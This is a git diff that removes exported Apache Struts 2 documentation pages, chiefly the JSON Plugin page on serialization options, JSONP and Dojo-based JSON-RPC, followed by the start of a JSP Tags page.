-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">JSON Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2850922">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2850922">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2850922">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2850922">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2850922">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2850922">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974192856 {padding: 0px;}
-div.rbtoc1488974192856 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1488974192856 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></p><div class="toc-macro rbtoc1488974192856">
-<ul class="toc-indentation"><li><a shape="rect" href="#JSONPlugin-Installation">Installation</a></li><li><a shape="rect" href="#JSONPlugin-CustomizingSerializationandDeserialization">Customizing Serialization and Deserialization</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#JSONPlugin-Excludingproperties">Excluding properties</a></li><li><a shape="rect" href="#JSONPlugin-Includingproperties">Including properties</a></li><li><a shape="rect" href="#JSONPlugin-RootObject">Root Object</a></li><li><a shape="rect" href="#JSONPlugin-Wrapping">Wrapping</a></li><li><a shape="rect" href="#JSONPlugin-WrapwithComments">Wrap with Comments</a></li><li><a shape="rect" href="#JSONPlugin-Prefix">Prefix</a></li><li><a sh [...]
-</li><li><a shape="rect" href="#JSONPlugin-Example">Example</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#JSONPlugin-SetupAction">Setup Action</a></li><li><a shape="rect" href="#JSONPlugin-Writethemappingfortheaction">Write the mapping for the action</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#JSONPlugin-JSONexampleoutput">JSON example output</a></li><li><a shape="rect" href="#JSONPlugin-AcceptingJSON">Accepting JSON</a></li></ul>
-</li></ul>
-</li><li><a shape="rect" href="#JSONPlugin-JSONRPC">JSON RPC</a></li><li><a shape="rect" href="#JSONPlugin-Proxiedobjects">Proxied objects</a></li></ul>
-</div><p>The JSON pluginprovides a "json" result type that serializes actions into JSON. The serialization process is recursive, meaning that the whole object graph, starting on the action class (base class not included) will be serialized (root object can be customized using the "root" attribute). If the interceptor is used, the action will be populated from the JSON content in the request, these are the rules of the interceptor:</p><ol><li>The "content-type" must be "application/json"< [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">{
-   "doubleValue": 10.10,
-   "nestedBean": {
-      "name": "Mr Bean"
-   },
-   "list": ["A", 10, 20.20, {
-      "firstName": "El Zorro"
-   }],
-   "array": [10, 20] 
-}
-</pre>
-</div></div><p>The action must have a "setDoubleValue" method, taking either a "float" or a "double" argument (the interceptor will convert the value to the right one). There must be a "setNestedBean" whose argument type can be any class, that has a "setName" method taking as argument an "String". There must be a "setList" method that takes a "List" as argument, that list will contain: "A" (String), 10 (Long), 20.20 (Double), Map ("firstName" -&gt; "El Zorro"). The "setArray" method can  [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependencies&gt;
-   ...
-   &lt;dependency&gt;
-       &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-       &lt;artifactId&gt;struts2-json-plugin&lt;/artifactId&gt;
-       &lt;version&gt;STRUTS_VERSION&lt;/version&gt;
-   &lt;/dependency&gt;
-   ...
-&lt;/dependencies&gt;
-</pre>
-</div></div><h2 id="JSONPlugin-CustomizingSerializationandDeserialization">Customizing Serialization and Deserialization</h2><p>Use the JSON annotation to customize the serialization/deserialization process. Available JSON annotation fields:</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Name</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Description</p></th><th colspan="1" rowspan="1" class="confluenc [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;!-- Result fragment --&gt;
-&lt;result type="json"&gt;
-  &lt;param name="excludeProperties"&gt;
-    login.password,
-    studentList.*\.sin
-  &lt;/param&gt;
-&lt;/result&gt;
-
-&lt;!-- Interceptor fragment --&gt;
-&lt;interceptor-ref name="json"&gt;
-  &lt;param name="enableSMD"&gt;true&lt;/param&gt;
-  &lt;param name="excludeProperties"&gt;
-    login.password,
-    studentList.*\.sin
-  &lt;/param&gt;
-&lt;/interceptor-ref&gt;
-</pre>
-</div></div><h3 id="JSONPlugin-Includingproperties">Including properties</h3><p>A comma-delimited list of regular expressions can be passed to the JSON Result to restrict which properties will be serialized. ONLY properties matching any of these regular expressions will be included in the serialized output.</p><div class="confluence-information-macro confluence-information-macro-note"><p class="title">Note</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-informatio [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;!-- Result fragment --&gt;
-&lt;result type="json"&gt;
-  &lt;param name="includeProperties"&gt;
-    ^entries\[\d+\]\.clientNumber,
-    ^entries\[\d+\]\.scheduleNumber,
-    ^entries\[\d+\]\.createUserId
-  &lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><h3 id="JSONPlugin-RootObject">Root Object</h3><p>Use the "root" attribute(OGNL expression) to specify the root object to be serialized.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="root"&gt;
-    person.job
-  &lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><p>The "root" attribute(OGNL expression) can also be used on the interceptor to specify the object that must be populated, <strong>make sure this object is not null</strong>.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;interceptor-ref name="json"&gt;
-  &lt;param name="root"&gt;bean1.bean2&lt;/param&gt;
-&lt;/interceptor-ref&gt;
-</pre>
-</div></div><h3 id="JSONPlugin-Wrapping">Wrapping</h3><p>For several reasons you might want to wrap the JSON output with some text, like wrapping with comments, adding a prefix, or to use file uploads which require the result to be wrapped in a textarea. Use <em>wrapPrefix</em> to add content in the beginning and <em>wrapPostfix</em> to add content at the end. This settings take precedence over "wrapWithComments" and "prefix" which are deprecated from 0.34 on. Examples:<br clear="none">  [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="wrapPrefix"&gt;/*&lt;/param&gt;
-  &lt;param name="wrapSuffix"&gt;*/&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><p>Add a prefix:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="wrapPrefix"&gt;{}&amp;&amp;&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><p>Wrap for file upload:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="wrapPrefix"&gt;&lt;![CDATA[&lt;html&gt;&lt;body&gt;&lt;textarea&gt;]]&gt;&lt;/param&gt;
-  &lt;param name="wrapSuffix"&gt;&lt;![CDATA[&lt;/textarea&gt;&lt;/body&gt;&lt;/html&gt;]]&gt;&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><h3 id="JSONPlugin-WrapwithComments">Wrap with Comments</h3><div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><em>wrapWithComments</em> is deprecated from 0.34, use <em>wrapPrefix</em> and <em>wrapSuffix</em> instead.</p></div></div><div class="confluence-information-macro confluence-information-macro- [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">/* {
-   "doubleVal": 10.10,
-   "nestedBean": {
-      "name": "Mr Bean"
-   },
-   "list": ["A", 10, 20.20, {
-      "firstName": "El Zorro"
-   }],
-   "array": [10, 20] 
-} */
-</pre>
-</div></div><p>To strip those comments use:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">var responseObject = eval("("+data.substring(data.indexOf("\/\*")+2, data.lastIndexOf("\*\/"))+")");
-</pre>
-</div></div><h3 id="JSONPlugin-Prefix">Prefix</h3><div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><em>prefix</em> is deprecated from 0.34, use <em>wrapPrefix</em> and <em>wrapSuffix</em> instead.</p></div></div><p>If the parameter <em>prefix</em> is set to true, the generated JSON will be prefixed with "{}&amp;& [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="prefix"&gt;true&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><h3 id="JSONPlugin-BaseClasses">Base Classes</h3><p>By default properties defined on base classes of the "root" object won't be serialized, to serialize properties in all base classes (up to Object) set "ignoreHierarchy" to false in the JSON result:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="ignoreHierarchy"&gt;false&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><h3 id="JSONPlugin-Enumerations">Enumerations</h3><p>By default, an Enum is serialized as a name=value pair where value = name().</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">  public enum AnEnum {
-     ValueA,
-     ValueB
-  }
-
-  JSON:  "myEnum":"ValueA"
-</pre>
-</div></div><p>Use the "enumAsBean" result parameter to serialize Enum's as a bean with a special property _name with value name(). All properties of the enum are also serialized.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">  public enum AnEnum {
-     ValueA("A"),
-     ValueB("B");
-
-     private String val;
-     
-     public AnEnum(val) {
-        this.val = val;
-     }
-     public getVal() {
-        return val;
-     }
-   }
-
-  JSON:  myEnum: { "_name": "ValueA", "val": "A" }
-</pre>
-</div></div><p>Enable this parameter through struts.xml:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="enumAsBean"&gt;true&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><h3 id="JSONPlugin-Compressingtheoutput.">Compressing the output.</h3><p>Set the <em>enableGZIP</em> attribute to true to gzip the generated json response. The request <strong>must</strong> include "gzip" in the "Accept-Encoding" header for this to work.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="enableGZIP"&gt;true&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><h3 id="JSONPlugin-Preventingthebrowserfromcachingtheresponse">Preventing the browser from caching the response</h3><p>Set <em>noCache</em> to true(false by default) to set the following headers in the response:</p><ul><li>Cache-Control: no-cache</li><li>Expires: 0</li><li>Pragma: No-cache</li></ul><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="noCache"&gt;true&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><h3 id="JSONPlugin-Excludingpropertieswithnullvalues">Excluding properties with null values</h3><p>By default fields with null values are serialized like {property_name: null}. This can be prevented by setting <em>excludeNullProperties</em> to true.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="excludeNullProperties"&gt;true&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><h3 id="JSONPlugin-StatusandErrorcode">Status and Error code</h3><p>Use <em>statusCode</em> to set the status of the response:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="statusCode"&gt;304&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><p>And <em>errorCode</em> to send an error(the server might end up sending something to the client which is not the serialized JSON):</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="errorCode"&gt;404&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><h3 id="JSONPlugin-JSONP">JSONP</h3><p>To enable JSONP, set the parameter <em>callbackParameter</em> in either the JSON Result or the Interceptor. A parameter with that name will be read from the request, and it value will be used as the JSONP function. Assuming that a request is made with the parameter "callback"="exec":</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="callbackParameter"&gt;callback&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><p>And that the serialized JSON is <em>{name: 'El Zorro'}</em>. Then the output will be: <em>exec({name: 'El Zorro'})</em></p><h3 id="JSONPlugin-ContentType">Content Type</h3><p>Content type will be set to <em>application/json-rpc</em> by default if SMD is being used, or <em>application/json</em> otherwise. Sometimes it is necessary to set the content type to something else, like when uploading files with Dojo and YUI. Use the <em>contentType</em> parameter in those cases.</p [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="contentType"&gt;text/html&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><h3 id="JSONPlugin-Encoding">Encoding</h3><p>User can define encoding per result or base on default assigned to struts.i18n.encoding. To define encoding for given result add encoding param as below:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result type="json"&gt;
-  &lt;param name="encoding"&gt;UTF-8&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div><h2 id="JSONPlugin-Example">Example</h2><h3 id="JSONPlugin-SetupAction">Setup Action</h3><p>This simple action has some fields:</p><p>Example:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">import java.util.HashMap;
-import java.util.Map;
-
-import com.opensymphony.xwork2.Action;
-
-public class JSONExample {
-    private String field1 = "str";
-    private int[] ints = {10, 20};
-    private Map map = new HashMap();
-    private String customName = "custom";
-
-    //'transient' fields are not serialized
-    private transient String field2;
-
-    //fields without getter method are not serialized
-    private String field3;
-
-    public String execute() {
-        map.put("John", "Galt");
-        return Action.SUCCESS;
-    }
-
-    public String getField1() {
-        return field1;
-    }
-
-    public void setField1(String field1) {
-        this.field1 = field1;
-    }
-
-    public int[] getInts() {
-        return ints;
-    }
-
-    public void setInts(int[] ints) {
-        this.ints = ints;
-    }
-
-    public Map getMap() {
-        return map;
-    }
-
-    public void setMap(Map map) {
-        this.map = map;
-    }
-
-    @JSON(name="newName")
-    public String getCustomName() {
-        return this.customName;
-    }
-}
-</pre>
-</div></div><h3 id="JSONPlugin-Writethemappingfortheaction">Write the mapping for the action</h3><ol><li>Add the map inside a package that extends "json-default"</li><li>Add a result of type "json"</li></ol><p>Example with Convention Plugin Configuration:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">import java.util.HashMap;
-import java.util.Map;
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts2.convention.annotation.Result;
-
-@Result(type = "json")
-public class JSONExample extends ActionSupport {
-// action code
-}
-</pre>
-</div></div><p>Example with XML Configuration:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
-&lt;!DOCTYPE struts PUBLIC
-    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
-    "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-
-&lt;struts&gt;
-
-  &lt;package name="example"  extends="json-default"&gt;
-     &lt;action name="JSONExample" class="example.JSONExample"&gt;
-        &lt;result type="json"/&gt;
-     &lt;/action&gt;
-  &lt;/package&gt;
-
-&lt;/struts&gt;
-</pre>
-</div></div><h4 id="JSONPlugin-JSONexampleoutput">JSON example output</h4><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">{  
-   "field1" : "str", 
-   "ints": [10, 20],
-   "map": {
-       "John":"Galt"
-   },
-   "newName": "custom"
-}
-</pre>
-</div></div><h4 id="JSONPlugin-AcceptingJSON">Accepting JSON</h4><p>Your actions can accept incoming JSON if they are in package which uses&#160;<code>json</code> interceptor or by adding reference to it as follow:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">@InterceptorRef(value="json")</pre>
-</div></div><p>By default <code>Content-Type</code>&#160;of value <code>application/json</code>&#160;is recognised to be used for de-serialisation and&#160;<code>application/json-rpc</code> to execute SMD processing. You can override those settings be defining&#160;<code>jsonContentType</code> and&#160;<code>jsonRpcContentType</code> params, see example:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;interceptor-ref name="json"&gt;
-  &lt;param name="jsonContentType"&gt;text/json&lt;/param&gt;
-  &lt;param name="jsonRpcContentType"&gt;text/json-rpc&lt;/param&gt;
-&lt;/interceptor-ref&gt;</pre>
-</div></div><p>Please be aware that those are scoped params per stack, which means, once set it will be used by actions in scope of this stack.</p><h2 id="JSONPlugin-JSONRPC">JSON RPC</h2><p>The json plugin can be used to execute action methods from javascript and return the output. This feature was developed with Dojo in mind, so it uses <a shape="rect" class="external-link" href="http://manual.dojotoolkit.org/WikiHome/DojoDotBook/Book9" rel="nofollow">Simple Method Definition</a> to ad [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package smd;
-
-import com.googlecode.jsonplugin.annotations.SMDMethod;
-import com.opensymphony.xwork2.Action;
-
-public class SMDAction {
-    public String smd() {
-        return Action.SUCCESS;
-    }
-    
-    @SMDMethod
-    public Bean doSomething(Bean bean, int quantity) {
-        bean.setPrice(quantity * 10);
-        return bean;
-    }
-}
-</pre>
-</div></div><p>Methods that will be called remotely <strong>must</strong> be annotated with the <em>SMDMethod</em> annotation, for security reasons. The method will take a bean object, modify its price and return it. The action can be annotated with the <em>SMD</em> annotation to customize the generated SMD (more on that soon), and parameters can be annotated with <em>SMDMethodParameter</em>. As you can see, we have a "dummy", <em>smd</em> method. This method will be used to generate the [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package smd;
-
-public class Bean {
-    private String type;
-    private int price;
-    
-    public String getType() {
-        return type;
-    }
-
-    public void setType(String type) {
-        this.type = type;
-    }
-
-    public int getPrice() {
-        return price;
-    }
-
-    public void setPrice(int price) {
-        this.price = price;
-    }
-
-}
-</pre>
-</div></div><p>The mapping:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;package name="RPC" namespace="/nodecorate" extends="json-default"&gt;
-    &lt;action name="SMDAction" class="smd.SMDAction" method="smd"&gt;
-        &lt;interceptor-ref name="json"&gt;
-            &lt;param name="enableSMD"&gt;true&lt;/param&gt;
-        &lt;/interceptor-ref&gt;
-        &lt;result type="json"&gt;
-             &lt;param name="enableSMD"&gt;true&lt;/param&gt;
-        &lt;/result&gt;
-    &lt;/action&gt;
-&lt;/package&gt;
-</pre>
-</div></div><p>Nothing special here, except that <strong>both</strong> the interceptor and the result must be applied to the action, and "enableSMD" must be enabled for both.</p><p>Now the javascript code:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;s:url id="smdUrl" namespace="/nodecorate" action="SMDAction" /&gt;
-&lt;script type="text/javascript"&gt;
-    //load dojo RPC
-    dojo.require("dojo.rpc.*");
-    
-    //create service object(proxy) using SMD (generated by the json result)
-    var service = new dojo.rpc.JsonService("${smdUrl}");
-    
-    //function called when remote method returns
-    var callback = function(bean) {
-        alert("Price for " + bean.type + " is " + bean.price);
-    };
-    
-    //parameter
-    var bean = {type: "Mocca"};
-    
-    //execute remote method
-    var defered = service.doSomething(bean, 5);
-
-    //attach callback to defered object
-    defered.addCallback(callback);
-&lt;/script&gt;
-</pre>
-</div></div><p>Dojo's JsonService will make a request to the action to load the SMD, which will return a JSON object with the definition of the available remote methods, using that information Dojo creates a "proxy" for those methods. Because of the asynchronous nature of the request, when the method is executed, a deferred object is returned, to which a callback function can be attached. The callback function will receive as a parameter the object returned from your action. That's it.</ [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="contact" class="package.ContactAction" method="smd"&gt;
-   &lt;interceptor-ref name="json"&gt;
-      &lt;param name="enableSMD"&gt;true&lt;/param&gt;
-      &lt;param name="ignoreSMDMethodInterfaces"&gt;false&lt;/param&gt;
-   &lt;/interceptor-ref&gt;
-   &lt;result type="json"&gt;
-      &lt;param name="enableSMD"&gt;true&lt;/param&gt;
-      &lt;param name="ignoreInterfaces"&gt;false&lt;/param&gt;
-   &lt;/result&gt;
-   &lt;interceptor-ref name="default"/&gt;
-&lt;/action&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/jsp-tags.html b/content/docs/jsp-tags.html
deleted file mode 100644
index 44a7502..0000000
--- a/content/docs/jsp-tags.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>JSP Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="jsp-tags.html">JSP Tags</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">JSP Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13973">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13973">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13973">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
